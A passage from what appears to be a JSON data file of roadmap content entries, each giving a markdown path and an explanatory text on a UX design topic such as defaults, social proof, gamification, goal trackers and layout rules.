Empathize with your users and create user personas to understand their needs, goals, and preferences when making decisions.\n- Conduct usability tests to evaluate the effectiveness of your decision-making support features and iterate based on user feedback.\n- Take into account different use cases and decision-making styles across your target audience, and design support features that cater to these variations.\n- Be cautious not to overwhelm users with too much decision support, which can lead to increased cognitive load and poor user experience.\n\nBy incorporating effective decision-making support into your UX design, you can enhance user experience, increase satisfaction, and ultimately, help your users make better choices while interacting with your product.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/default-everything@wE5gt1vMgbF3csA61VO2-.md",
    "content": "# Default Everything\n\nOne of the key principles in UX design is to **make it easy for users** by creating a seamless and intuitive interface. One effective way to achieve this is by implementing **default settings** for various user actions and input fields. Default settings not only simplify the decision-making process but also save time and prevent errors. In this section, we will discuss the importance of default settings and provide some practical tips for implementing them in your UX design.\n\n#### Why are default settings important?\n\n- **Save time and effort:** Defaults reduce the cognitive load on the user, as they don't have to manually set options while interacting with your product. They can quickly proceed without worrying about customizing every single element.\n\n- **Increase usability:** Defaults make it easier for users to use your product without needing to understand the complexities involved. This is especially helpful for new users who are still exploring your product and might be overwhelmed by too many options.\n\n- **Reduce errors:** Errors are more likely to occur when users have to configure complex settings manually. Providing default options minimizes the chances of error and ensures a smoother experience.\n\n#### Tips for implementing default settings in your UX design:\n\n- **Choose sensible defaults:** It's essential to carefully consider which default settings are most appropriate for your target user group. Keep their needs and preferences in mind while making these choices.\n\n- **Allow customization:** While providing default settings, it's crucial to give users the flexibility to change these settings as per their needs. Make sure that customization options are easily accessible so that users can modify them if required.\n\n- **Set progressive defaults:** Progressive defaults adjust over time based on a user's behavior and choices. For example, if a user always selects a specific option, make that the new default for that user. This personalizes the experience and demonstrates that your product is actively adapting to the user's preferences.\n\n- **Test your defaults:** It's important to test and validate your default settings to ensure that they benefit your users. Collect feedback, conduct user testing, and iterate to find the most effective defaults for your product.\n\nBy implementing default settings in your UX design, you'll simplify the user's experience and make it easier for them to interact with your product. By choosing the right defaults and constantly testing and refining them, you'll provide a more satisfying and efficient experience for your users.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/defaulting@IpKCXqf_PkxIllwmiIZsq.md",
    "content": "# Defaulting\n\nDefaulting in UX design refers to the practice of pre-selecting options or settings for users based on what is likely to be the most common or preferred choice. The goal is to simplify the decision-making process and minimize the effort required for users to complete a task or interact with an interface.\n\nBenefits of defaulting include:\n\n- **User convenience**: By pre-selecting options for users, you save them time and effort in making choices. This leads to a smoother user experience, especially for users who may not have a strong preference or in-depth knowledge about the task at hand.\n\n- **Reduced errors and confusion**: Default options can help users avoid making errors, like selecting an incompatible format or an incorrect setting. By choosing sensible defaults, you can guide users towards appropriate choices which can minimize confusion and potential problems later on.\n\n- **Promote desired behavior**: If you want to encourage users to adopt a specific action or setting, making it the default choice can increase its adoption rate. For example, setting the default privacy settings to 'high' can promote better security practices among users.\n\nWhen implementing defaulting, keep the following guidelines in mind:\n\n- **Consider user needs and preferences**: Defaults should align with the most common or preferred user actions, based on user research and understanding of your audience.\n\n- **Be transparent**: Make it clear to users that you have pre-selected some choices on their behalf, and offer ways to change these selections if needed.\n\n- **Regularly review and adjust**: As your user base or product evolves, it's essential to review and adjust your default settings to ensure they remain relevant and helpful to users.\n\nIn summary, defaulting is a powerful UX design technique that, when used thoughtfully, can streamline user interactions and lead to better usability and user satisfaction.\n\n- [@article@The Power of Defaults](https://www.nngroup.com/articles/the-power-of-defaults/)"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/deploy-peer-comparisons@gqOnzmiLQHmIXuEe4jG2e.md",
    "content": "# Deploy Peer Comparisons\n\nDeploying peer comparisons in UX design involves showing users how their actions or decisions stack up against those of other users in a similar context. This technique can be highly effective in motivating users to take desired actions, especially when backed by strong social proof. It's crucial, however, to implement peer comparisons in a way that is both ethical and user-friendly. Let's explore key considerations and best practices for including peer comparisons in your UX design.\n\n## Benefits of Peer Comparisons\n\n- **Motivation** - Users often feel encouraged to take desired actions when they see peers doing the same. This phenomenon is called social proof, a powerful motivator for persuasive design.\n- **Informative** - Comparisons can provide users with valuable insights, such as how they rank against peers or how much improvement they can make.\n- **Friendly Competition** - Peer comparisons can introduce a healthy sense of competition among users, which can lead to positive outcomes.\n\n## Best Practices for Deploying Peer Comparisons\n\n- **Ensure Relevance** - Make sure the peer comparisons displayed are relevant and useful to the user. Irrelevant comparisons can lead to confusion or frustration.\n- **Don't Shame Users** - Avoid designing comparisons that put users down in any way. Focus on creating a positive experience and highlighting the benefits of adopting desired behaviors.\n- **Respect Privacy** - Be mindful of users' privacy by obtaining consent before displaying their personal data or comparing their actions with others.\n- **Provide Opt-Out Options** - Give users the choice to remove themselves from peer comparisons or view comparisons anonymously.\n- **Avoid Overwhelming Users** - Display comparisons sparingly and thoughtfully. Excessive peer comparisons can be overwhelming or counterproductive.\n\nBy carefully implementing peer comparisons in your UX design, you can effectively motivate users to take desired actions, while maintaining a positive and intuitive user experience. Remember to be considerate of users' privacy and preferences when introducing this powerful technique.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/deploy-social-proof@C1NwA0Pivoo73GANoOaPi.md",
    "content": "# Deploy Social Proof\n\nDeploying social proof is a powerful UX design principle that helps to encourage a positive intuitive reaction among users. Social proof is the concept that people tend to conform to the actions, beliefs, and attitudes of those around them, especially when they are unsure of the correct behavior in a given situation. In UX design, this means leveraging user-generated content and testimonials that demonstrate how your product or service is positively impacting others. This helps to instill trust and credibility in your design, and it can ultimately influence user engagement and decision-making.\n\n## Key Aspects of Deploying Social Proof\n\n- **User Testimonials and Reviews**: Sharing direct quotes and reviews from satisfied users can help build trust in your product, and create a perceived sense of popularity. Make sure to include testimonials on your website or app that highlight the most compelling benefits of your product.\n\n- **Social Media Mentions**: Showcasing positive word-of-mouth spread organically by real users can help persuade potential customers to try your product. Incorporate social media mentions, shares, or ratings on your website or app as a way of demonstrating your product's reputation.\n\n- **Expert Opinions and Endorsements**: If your product is endorsed by industry experts, leaders, or influencers, this can add authority to your brand. Include these supporters' names or quotes in your UX design to show that knowledgeable individuals trust and are using your product or service.\n\n- **Usage Statistics**: Displaying the total number of users, downloads, or customer success stories can provide a strong indicator of the popularity of your product or service. Ensure that these statistics are accurate and up-to-date in order to maintain credibility with your audience.\n\n- **Trust Seals and Certifications**: Including trust seals from established organizations or certifications from industry leaders can further enhance your product's credibility. Ensure that these are relevant to your target audience and displayed prominently within your UX design.\n\nBy deploying social proof strategically within your UX design, you can create a positive intuitive reaction that encourages users to trust your product, comply with your suggestions, and ultimately, choose your product over the competition.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/deploy-strong-authority-on-subject@C5dKHIIgBzxtBpFgDs-hB.md",
    "content": "# Deploy Strong Authority on Subject\n\nDeploying strong subject authority refers to providing the user with a sense of trust and confidence when they interact with your product. This can be achieved by showcasing your expertise and establishing your position as a reliable source of information, products or services. Let us explore the key aspects of deploying strong subject authority in UX design:\n\n## Reliable Content:\n\n- **Accuracy:** Make sure the information provided is accurate, relevant, and up-to-date. Inaccurate information can lead to distrust and dissatisfaction.\n- **Expertise:** If possible, involve subject matter experts to ensure the content is reliable and credible. Expert opinions and insights add more value to the content.\n- **Curation:** Curate your content carefully to avoid information overload, and ensure it remains focused, informative, and useful for your target audience.\n\n## Design and Aesthetics:\n\n- **Professional design:** A well-designed interface instills confidence in the user. Choose professional-looking fonts, colors, and other design elements that resonate with your target audience.\n- **Consistency:** Maintain consistency in layout, color schemes, and overall branding. This helps users to associate your content with a familiar and trustworthy organization.\n- **Navigation:** Ensure the navigation is intuitive and easy to use, helping users to explore your content with confidence.\n\n## Testimonials and Social Proof:\n\n- **Testimonials:** Share real testimonials from satisfied users/customers to build trust with your audience.\n- **Case Studies:** Showcase your expertise with detailed case studies that demonstrate your skills and accomplishments.\n- **Social Proof:** Display social proof by featuring badges, certifications, or collaborations with renowned organizations.\n\n## Accessibility and Support:\n\n- **Accessibility:** Ensure your content is accessible to everyone, regardless of their abilities, by meeting accessibility standards.\n- **Customer Support:** Offer easily accessible support options and resources, such as a help center, live chat, or customer service contact information.\n\nTo deploy strong subject authority in your UX design, focus on providing reliable content, maintaining a professional appearance, sharing testimonials and social proof, and offering accessible support. By incorporating these elements into your design, users are more likely to have a positive, intuitive reaction to your product and become loyal, satisfied customers.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/dual-process-theory@kWA8CvocP1pkom2N7O4gb.md",
    "content": "# Dual Process Theory\n\nThe Dual Process Theory is a psychological concept that suggests that human thinking operates on two different levels – an intuitive, fast, and automatic level (known as System 1), as well as a more deliberate, slow, and logical level (System 2). In the context of UX design, understanding these two systems can help designers create user interfaces and experiences that cater to both types of thinking.\n\n**System 1: Intuitive and Fast**\n\n- Relies on intuition, heuristics, and mental shortcuts\n- Makes quick judgments based on emotions and past experiences\n- Prone to errors and biases, but highly efficient for everyday tasks\n\n**System 2: Deliberate and Slow**\n\n- Involves conscious, controlled thinking and decision making\n- Requires more mental effort and can handle complex problems\n- Less prone to errors, but slower and more resource-intensive\n\nIn order to create user experiences that cater to both System 1 and System 2 thinking, UX designers should:\n\n- **Make tasks simple and intuitive**: Reduce cognitive load by simplifying tasks, using familiar patterns, and providing clear instructions.\n- **Provide visual cues**: Use visual cues such as icons, colors, and typography to guide users through tasks, while promoting clarity and efficiency.\n- **Minimize errors**: Design systems that help prevent errors by using constraints, providing feedback, and allowing users to undo their actions.\n- **Accommodate different thinking styles**: Recognize that different users may approach tasks using different cognitive styles, and design experiences that cater to a range of preferences.\n- **Test and iterate**: Continuously test your designs with real users, and iterate based on their feedback to ensure that your designs are catering to both System 1 and System 2 thinking.\n\nBy understanding the Dual Process Theory and designing for both types of cognitive processing, UX designers can create user experiences that are both delightful and efficient, ultimately leading to higher user satisfaction and engagement."
  },
  {
    "path": "src/data/roadmaps/ux-design/content/educate--encourage-user@SLXjoYL-lhPef8s9V3jpf.md",
    "content": "# Educate and Encourage User\n\nOne of the primary goals of UX design is to guide users through the intended flow of an application or website, and that often involves encouraging them to change their behavior or habits. Educating and encouraging users can be achieved through various methods such as guidance, feedback, and positive reinforcement.\n\n- **Guidance:** Provide clear and concise instructions, explanations, and help text to ensure users understand how to use your application. Using onboarding tutorials, tooltips, and contextual help can greatly improve the user experience and aid in changing their behavior if required.\n\n  - Example: Show a brief tutorial during a user's first interaction with your app, highlighting key features they may not be aware of.\n\n- **Feedback:** Give users real-time feedback as they interact with your application. This can range from basic notifications to more detailed information tailored to their specific behaviors.\n\n  - Example: When a user creates a password, show an interactive strength meter indicating whether their chosen password is strong or weak. This may encourage the user to choose a stronger and more secure password.\n\n- **Positive reinforcement:** Encourage users to continue using your application by rewarding them for achieving milestones or completing tasks. This can be achieved through gamification elements like badges, points, and progress indicators.\n\n  - Example: Award a badge to users who complete their profile or connect their social media accounts. This can encourage users to fully engage with your application and form a habit of using it regularly.\n\n- **Social influence:** Utilize social proof to promote a change in user behavior. Showcasing the actions or opinions of other users can create a sense of community and drive users to follow suit.\n\n  - Example: Display the number of users who have completed a task or upvoted a piece of content, which may motivate other users to follow the apparent trend.\n\n- **Personalization:** Cater to users by presenting them with tailored content based on their preferences, usage patterns, and prior interactions. Personalization can make users feel more invested in the application, which may encourage them to consistently use and engage with it.\n\n  - Example: Offer users personalized recommendations for articles or products based on their browsing history, which can enhance their experience and increase the likelihood of repeat visits.\n\nBy effectively educating and encouraging your users, you can create a user experience that promotes desired behaviors, fosters positive habits, and ultimately leads to a more successful and impactful application. Remember to always put your user at the center of your design process to ensure you're addressing their needs and desires in the most effective way possible.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/elicit-implementation-intentions@EmDgiwaknBz5lXr1rwalE.md",
    "content": "# Elicit Implementation Intentions\n\nEliciting implementation intentions is a powerful technique used in UX design to help users achieve their goals while using your platform or product. Implementation intentions are formed when users are encouraged to think about and plan specific actions they will take to reach a desired outcome. By incorporating prompts and guidance for users to make these plans, you can boost their chances of success and improve overall user satisfaction. In this section, we will discuss how to effectively elicit implementation intentions.\n\n## Why Implementation Intentions Matter\n\nNumerous studies show that when people form implementation intentions, they are more likely to follow through with their plans and achieve their goals. Instead of just having a vague idea of what they want to accomplish, users with implementation intentions have a clear roadmap of how and when to take action. This removes much of the guesswork and ambiguity that can hinder success and can make your UX design more effective at helping users achieve their desired outcomes.\n\n## How to Elicit Implementation Intentions\n\nTo encourage users to form implementation intentions, you'll want to create prompts and guidance within your UX design that help them identify and plan for the specific actions they will take. Here are some tips to help you do this:\n\n- **Break down goals into subtasks**: To help users make plans, divide their overarching goal into smaller, more manageable subtasks. Present these subtasks clearly within your design and encourage users to think about how and when they will complete them.\n\n- **Provide clear instructions**: Offer step-by-step guidance to help users accomplish each subtask. This can take the form of tooltips, onboarding flows, or even simple checklists.\n\n- **Set attainable deadlines**: Encourage users to set specific deadlines for when they will complete each subtask. Including a built-in calendar or scheduling functionality can help make this process more seamless.\n\n- **Create reminders and notifications**: Incorporate reminder mechanisms into your design to help users stay on track with their plans. This can include push notifications, email reminders, or in-app alerts.\n\n- **Track progress**: Make it easy for users to track their progress toward goal completion. Visual aids, such as progress bars and checklists, go a long way in helping users see how far they've come and encouraging them to keep going.\n\n- **Offer encouragement and feedback**: Positive reinforcement can help keep users motivated and engaged with their plans. Congratulate users on milestones reached and provide feedback on their progress.\n\nBy incorporating these strategies into your UX design, you can foster an environment that supports users in forming implementation intentions and helps them achieve their goals more effectively. Remember, the easier it is for users to make plans and take actionable steps towards their objectives, the more successful and satisfied they will be with your product.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/event-driven-process-chain-model-epc@nccToz_0FUvHMJytpDpM0.md",
    "content": "# Event-Driven Process Chain Model (EPC)\n\nThe Event Driven Process Chain (EPC) model is a flowchart-based diagramming method that supports the documentation and analysis of business processes. EPCs are frequently used in the field of UX design to aid in identifying areas for optimization and improvement.\n\nIn an EPC model, events, functions, and control flow are the primary components.\n\n- **Event**: Represents a specific point in time, such as the start, end or a change in a process.\n- **Function**: Represents an action or task that needs to be performed. Functions typically connect to events and other functions within a process chain.\n- **Control Flow**: Illustrates the flow of activities in the process chain by connecting events and functions with arrows, showing the sequence of tasks.\n\nCreating an EPC model involves the following steps:\n\n- Identify the main activities and events in the process to be modeled.\n- Define the flow of activities by connecting events and functions using arrows.\n- Identify decision points or branches in the process, where alternative paths may be followed.\n- Analyze the model to identify areas for improvement, such as bottlenecks, inefficiencies or redundancies.\n\nEPC models are beneficial for UX designers as they provide a clear, visual representation of the business processes. This helps in understanding how a user's interactions with a product or service are tied to the overall process flow. Consequently, insights gained from EPC models can inform the UX design process in terms of the required steps and interactions, potential pain points, and opportunities for innovation.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/figma@t46s6Piyd8MoJYzdDTsjr.md",
    "content": "# Figma\n\n[Figma](https://www.figma.com/) is a powerful and versatile web-based design tool that allows designers, developers, and stakeholders to collaborate on UI and UX projects in real-time. It's an excellent choice for creating wireframes and high-fidelity prototypes and supports vector editing, responsive design, and team collaboration.\n\n## Key Features\n\n- **Real-time collaboration**: Figma lets multiple users work on a single design simultaneously, so teams can easily collaborate and see each other's changes in real-time.\n\n- **Platform-independent**: As a web-based tool, Figma is accessible from any device with a browser and an internet connection. It is compatible with Windows, macOS, and Linux.\n\n- **Components**: Figma uses a 'component' system, which allows you to reuse elements across your designs. By creating a master component, any updates made to the master will be reflected in all instances, helping to keep your designs consistent.\n\n- **Prototyping**: Figma allows you to create interactive prototypes of your designs using built-in prototyping features, including animations and transitions. This helps you to communicate the intended user experience to stakeholders and to test your designs with users.\n\n- **Version history**: Figma automatically saves your work and maintains a version history that lets you go back to any previous version of your design.\n\n- **Plugins**: Figma supports a wide range of user-created plugins that extend its functionality, allowing you to tailor the tool to your specific needs.\n\nVisit the following resources to learn more:\n- [@official@Figma Website](https://figma.com)\n- [@video@Free Figma UX Design UI Essentials Course](https://youtu.be/kbZejnPXyLM?si=W9oY5j_6AcSuHfq2)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/five-forces-model@F9gpGTRwXq08jNo5pPKm6.md",
    "content": "# Five Forces Model\n\n**Five Forces Model**\n\nThe _Five Forces Model_ is a strategic framework developed by Harvard Business School professor Michael Porter. It is designed to analyze the competitive environment and help businesses understand the factors that influence competition, profitability, and overall industry attractiveness. This model is essential in UX design as it helps you identify opportunities, make informed decisions, and ultimately design products that satisfy users' needs and preferences.\n\nThe Five Forces Model consists of five components:\n\n- **Competitive Rivalry:** This component addresses the intensity of competition among existing competitors within the industry. Factors affecting competitive rivalry include the number of competitors, diversity of competitors, the level of growth and demand, and barriers to exit. Knowing your competitors is crucial in UX design, as it guides you in creating features and improvements that build a competitive edge.\n\n- **Threat of New Entrants:** The possibility of new entrants entering the market impacts the competitive landscape. This force is determined by factors such as capital requirements, economies of scale, switching costs, and access to distribution channels. To remain competitive as a UX designer, you must continuously gauge potential threats and evolve your strategy to create and maintain a unique value proposition.\n\n- **Threat of Substitutes:** This force examines how easily users can switch between products or services that offer similar benefits. Factors affecting the threat of substitutions include the availability of alternatives, the price-performance ratio, and the perceived level of product differentiation. It is crucial to understand these factors and design your product in a manner that sets it apart, making it difficult for users to find substitutes.\n\n- **Bargaining Power of Suppliers:** This component evaluates the influence suppliers have over the price and quality of goods and services in your industry. Factors impacting bargaining power include the number of suppliers, availability of substitute inputs, brand strength, and cost structure. In UX design, it's essential to consider how the supplier landscape impacts product development and identify ways to work closely with suppliers to create valuable partnerships.\n\n- **Bargaining Power of Buyers:** Lastly, this force examines the degree of control customers have over your product's price, features, and overall quality. Factors that affect buyer power include market size, consumer information availability, product differentiation, and price sensitivity. In UX design, it's crucial to align your product with user expectations and preferences, ensuring they perceive it as valuable and are less likely to seek alternatives.\n\nTo effectively use the _Five Forces Model_ in UX design, it's essential to research and understand these forces in your industry, act on insights, and continually reassess your position as the competitive landscape evolves. By doing so, you'll create a robust and sustainable UX strategy that satisfies both user needs and market demands.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/frame-text-to-avoid-temporal-myopia@S9rJr8pc-Ln8BxG0suBWa.md",
    "content": "# Frame Text to Avoid Temporal Myopia\n\nTemporal myopia, also known as short-termism, occurs when individuals or organizations prioritize immediate gains over long-term benefits. This focus on the present can lead to suboptimal decisions, negatively impacting the overall user experience (UX) in the long run. As a UX designer, your goal is to avoid temporal myopia and create designs keeping the long-term user experience in mind.\n\n## Long-term vs. Short-term UX\n\nIt's essential to balance short-term goals, such as increasing conversions or sales, with long-term UX objectives, such as user satisfaction and loyalty. Consider the following when avoiding temporal myopia in your designs:\n\n#### 1. Sustainable Design Solutions\n\nDesign for both the present and future by creating sustainable design solutions that adapt to evolving user needs and technology advancements. This approach will ensure a seamless experience across different contexts and platforms, catering to growth and change.\n\n#### 2. Prioritize User Needs\n\nUnderstand and prioritize user needs throughout the development process. Strive to balance business objectives with end-user satisfaction, focusing on designing experiences that create lasting value for both parties.\n\n#### 3. Iterate and Test\n\nAdopt a continuous improvement mindset and emphasize the importance of iteration and testing in the design process. This approach will enable you to refine and perfect your designs over time, addressing any negative impacts of short-term decisions and meeting long-term user requirements.\n\n#### 4. User Feedback\n\nIncorporate user feedback into your design process, gathering insights from diverse sources such as usability testing, surveys, and customer reviews. Analyzing user feedback will help you identify elements that contribute to a positive long-term experience and can inform your design choices.\n\n#### 5. Build Trust and Loyalty\n\nDesign experiences that foster trust and loyalty with users, including employing principles of personalization, security, transparency, and accessibility. Establishing long-term relationships with users will help you better understand their needs and adapt your designs as their requirements change over time.\n\nBy avoiding temporal myopia in your UX design process, you'll create experiences that cater to both immediate and long-term user needs while fostering trust and loyalty. Balancing short-term gains with a long-term user-centric focus will help you deliver designs that stand the test of time and provide lasting value to both users and organizations.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/gamification@fbIur1tEIdNDE6gls4Bru.md",
    "content": "# Gamification\n\nGamification is a UX design pattern that involves incorporating elements of game design into non-game applications or websites to enhance user engagement and create enjoyable experiences. By using game mechanics like points, achievements, competition, and progress-tracking, designers can make mundane tasks more appealing and motivate users to interact with the content or perform certain actions.\n\n## Benefits of Gamification\n\n- **Increased engagement**: Gamification helps in capturing the user's attention and encourages them to spend more time interacting with the product.\n- **Motivation**: Game mechanics like points, badges, and leaderboards act as incentives, motivating users to perform a desired behavior or accomplish specific goals.\n- **Improved learning**: Gamification can make learning new concepts or skills more enjoyable, allowing users to better retain information.\n- **User retention**: By creating a sense of achievement and fostering friendly competition, gamification can inspire users to keep returning to the product.\n\n## Key Elements of Gamification\n\n- **Points**: Points are a quantifiable way to track the user's accomplishments and give immediate feedback. They can be used as a currency to unlock specific content or features.\n- **Badges**: Badges are visual representations of achievements that users can earn by completing certain activities or reaching milestones, which creates a sense of accomplishment.\n- **Leaderboards**: Leaderboards display users' progress in comparison to others, encouraging competition and fostering motivation to improve one's standing within the community.\n- **Progress tracking**: Providing a progress bar or checklist helps users visualize their journey and gives them a clear idea of what they have achieved and what's remaining.\n\n## Implementing Gamification\n\nWhen implementing gamification in your UX design, consider the following factors:\n\n- **Target audience**: Define your target audience and analyze their demographics, preferences, and pain points to provide a suitable gamification experience.\n- **Purpose**: Identify the desired outcome the gamification process aims to achieve, such as increased engagement, user acquisition, or learning.\n- **Relevance**: Ensure that the gamification elements align with your product's purpose and add value to the user experience, rather than feeling forced or gimmicky.\n- **Balancing challenge and reward**: Create a balance between the level of challenge and the offered rewards to maintain user interest.\n- **Feedback**: Provide users with timely feedback on their progress and performance to keep them engaged and informed.\n\nBy incorporating gamification into your UX design, you can create more engaging and captivating experiences that keep users coming back for more. Just remember to ensure that the game elements are relevant to the product's purpose and contribute positively to the overall user experience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/gather-lessons-prioritize--integrate@Emby09Nsm_j6uNreT58r6.md",
    "content": "# Gather Lessons Learned,\n\nOne of the most important aspects of measuring the impact of UX design is to gather lessons, prioritize them, and integrate them into future iterations. This process ensures that you're continuously improving your product design and user experience.\n\n## Gather Lessons\n\nThe first step in this process is to gather the lessons you've learned as a result of your UX design impact measurements. You should take note of both the strong and weak points of your current design. Some methods to gather these lessons include user feedback, quantitative data from usability tests, and qualitative insights from user interviews or surveys. Collecting this data helps you to get a comprehensive understanding of what is working well and what needs improvements in your product design.\n\n## Prioritize\n\nAfter gathering the lessons, it's crucial to identify and prioritize the most important issues that need to be addressed. Prioritization can be based on various factors, such as the severity of the issue, the number of users affected, the effort required for the improvement, and the potential impact on user satisfaction.\n\nTo help with prioritization, you can make use of methods such as:\n\n- Impact-Effort Matrix: Rank issues based on their potential impact on users and the effort required to resolve them.\n- MoSCoW Method: Classify issues as \"Must-Have,\" \"Should-Have,\" \"Could-Have,\" or \"Won't-Have.\"\n- Kano Model: Identify issues that will delight users, satisfy their basic needs, or cause dissatisfaction if not addressed.\n\nBy prioritizing issues, you'll be able to allocate the right resources and time to solve them effectively.\n\n## Integrate\n\nOnce you have prioritized the key issues, the next step is to integrate them into your product roadmap and design process. This means addressing these issues during iteration planning, incorporating them into your design requirements, and working closely with your development team to ensure they're implemented appropriately.\n\nMonitoring the progress and evaluating the impact of these changes in subsequent iterations is also important. This will help you validate the success of your efforts and provide valuable insights for continuous improvement.\n\nTo summarize, gathering lessons, prioritizing, and integrating them into your UX design process is essential for measuring the impact and knowing the areas of improvement. By continuously iterating and learning from user feedback and data, you can build a more effective and engaging product for your users.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/goal-trackers@g-bcan_JnjJfg0_fMOb64.md",
    "content": "# Goal Trackers\n\nGoal trackers are essential UX patterns that enable users to monitor their progress towards accomplishing a specific task or objective. Essentially, they help users stay motivated, organized and informed about their journey within an app, website, or system. In this guide, we'll explore the significance of goal trackers, and how to effectively design and incorporate them in your projects.\n\n## Why use goal trackers?\n\n- **Motivation**: By visibly displaying the progress made, goal trackers constantly motivate users to actively participate in the experience and work towards completing their goals.\n- **Expectation Management**: They provide clear guidance on the steps required, inform users about the remaining tasks or subgoals, and aid users in estimating the time and effort needed.\n- **Sense of Achievement**: Goal trackers can enhance user satisfaction by celebrating milestones and achieved objectives, reaffirming that the effort invested has produced tangible results.\n- **Personalization**: Users can customize their experience by setting up personalized goals and tracking their progress, fostering a greater sense of ownership and connection.\n\n## Essential components of goal trackers\n\nA well-designed goal tracker will typically include the following elements:\n\n- **Visual Progress Bar**: This represents the user's progress towards completing the overall goal. It is usually color-coded, with a percentage or numerical value indicating the extent of the progress made.\n- **Step Indicators**: These are specific milestones or subgoals that users need to complete in order to achieve the main goal. They help break down the overall process into manageable, smaller tasks.\n- **Animations & Feedback**: Using animations, notifications, and other visual cues can make users feel rewarded for their progress, reinforcing positive behavior.\n- **Summaries & Overviews**: A concise summary or overview of the user's progress and remaining tasks/subgoals allows users to quickly ascertain their position within the overall structure.\n\n## Designing effective goal trackers\n\nWhen designing a goal tracker, consider these best practices for optimal UX:\n\n- **Simplicity**: Keep the design and presentation of the goal tracker simple and clear, avoiding unnecessary complexity or clutter.\n- **Relevance**: Ensure that the tracked goals are closely aligned with the user's objectives, and make the process of updating or setting these goals as seamless as possible.\n- **Adaptable**: Make the goal tracker adaptable and flexible, allowing users to change or modify their goals as needed.\n- **Accessibility**: Design the goal tracker to be easily accessible, allowing users to monitor their progress without disrupting their workflow or navigation.\n\nIn conclusion, goal trackers play an important role in UX design to drive user engagement, satisfaction, and overall success. By understanding their purpose and components, and incorporating thoughtful design principles, you can create goal trackers that enhance your users' experience and promote the accomplishment of their desired objectives.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/good-layout-rules@90_M5qABC1vZ1nsXVyqFJ.md",
    "content": "# Good Layout Rules & Design Guidelines\n\nIn the world of UX design, a good layout is crucial to ensure your prototype is intuitive and user-friendly. By following these good layout rules, you can ensure your designs are efficient, attractive, and easy to navigate for users.\n\n## Consistency\n\nBeing consistent with your design is vital in creating an easy-to-navigate interface. Utilize the same color schemes, typography, and other design elements consistently throughout your prototype to make it visually cohesive and user-friendly.\n\n## Alignment and Spacing\n\nEnsure all the elements on your prototype are aligned and spaced properly. This helps create a well-structured and clean look, while also making it easy for users to navigate and understand your design.\n\n## Visual Hierarchy\n\nEstablish clear visual hierarchy by using size, color, contrast, and white space effectively. This helps users identify important elements on the screen quickly and understand the flow of your design easily.\n\n## Grouping of Elements\n\nGroup related elements together, such as navigation menus or form input fields. This helps users recognize the purpose and function of each section more quickly and intuitively.\n\n## Balance and Proportion\n\nCreate a balanced and proportional look by distributing elements on the screen evenly. This can be achieved through the use of grids or other layout techniques that help maintain a sense of harmony and order in your design.\n\n## Accessibility\n\nEnsure your design is accessible to all users by considering factors such as text size, contrast, and color combinations. Aim to create an inclusive prototype that caters to people of different abilities and preferences.\n\n## Responsiveness and Flexibility\n\nMake sure your prototype can adapt to different screen sizes and devices, ensuring a seamless user experience across various platforms. This is particularly important when designing for web and mobile applications.\n\n## Iterating and Testing\n\nAs you develop your design, continually test and iterate on your layout based on user feedback and data. This process will help refine your design and ensure it meets the needs and expectations of your users.\n\nBy incorporating these good layout rules into your prototyping process, you'll be well on your way to creating a user-friendly and effective design that meets the goals and objectives of your project.\n\nVisit the following resources to learn more:\n\n- [@article@User Interface Design Guidelines: 10 Rules of Thumb](https://www.interaction-design.org/literature/article/user-interface-design-guidelines-10-rules-of-thumb)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/help-user-avoiding-the-cue@S2TgqNDjvmcJTaXncM09u.md",
    "content": "# Help User Avoiding the Cue\n\nIn UX design, it's important to understand the existing behaviors and habits of your users. One aspect of this process is helping users avoid the cues that trigger unwanted or unnecessary actions. Cues are the signals or prompts that lead users to perform specific behaviors. By identifying and mitigating these cues, you can effectively guide users to have a more streamlined and efficient user experience.\n\nHere are some strategies to help users avoid the cue:\n\n- **Identify the cue**: The first step is to recognize the cues that lead to unwanted behaviors. This can be achieved by observing users, conducting usability testing or through user feedback.\n\n- **Remove the cue**: Once the cue is identified, remove or minimize it to prevent users from performing the undesired action. This could be achieved by redesigning the interface, altering the layout or adjusting the visual hierarchy of elements.\n\n- **Provide alternatives**: Offer alternative actions or paths for users to take in order to achieve their goal without encountering the unwanted cue. Make sure these alternatives are easily accessible and have clear call-to-action elements.\n\n- **Educate users**: Sometimes, simply removing a cue isn't enough. In these cases, it's important to educate your users about the new optimal way to perform a task. This can be done through in-app guides, tutorial videos or tooltips.\n\n- **Monitor user behavior**: Continuously assess user behavior and feedback to ensure that the unwanted cues are no longer causing problems. Be prepared to make further adjustments if necessary, and consider implementing A/B testing to optimize your solution.\n\nBy helping users avoid unwanted cues, you'll create a more seamless user experience, leading to increased user satisfaction and a more effective product overall.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/help-user-think-about-their-action@e9n9an1PGxDPGkLCOHIwz.md",
    "content": "# Help User think about Their Action\n\nTo successfully change user behavior, it's crucial to encourage users to think about their actions consciously. This can be achieved by employing various strategies in your UX design. Following are some effective methods to help users think about their actions:\n\n- **Incentives**: Offer rewards or incentives to the users for completing specific actions, which will make them more likely to think about their actions and participate actively in the process.\n\n- **Progress indicators**: Display clear progress indicators to show the user where they are in the process and how far they've come. This will help the user evaluate the outcomes of their actions and motivate them to complete the process.\n\n- **Feedback**: Providing users with real-time feedback on their actions is a great way to make them more conscious of their actions. You can use notifications, messages, or visual cues to inform users about the positive or negative results of their actions.\n\n- **Guidance**: Offer guidance and support to users as they engage with your interface. Through onboarding tutorials, tooltips, or context-based instructions, help users understand the effects of their actions, why they are relevant, and how to use them efficiently.\n\n- **Confirmation**: Ask users for confirmation before they proceed with a critical action that may have significant consequences. This pause will compel them to think about their choice and assess the potential impact of their action.\n\n- **Make it personal**: Connect the outcomes of the user's actions to their personal 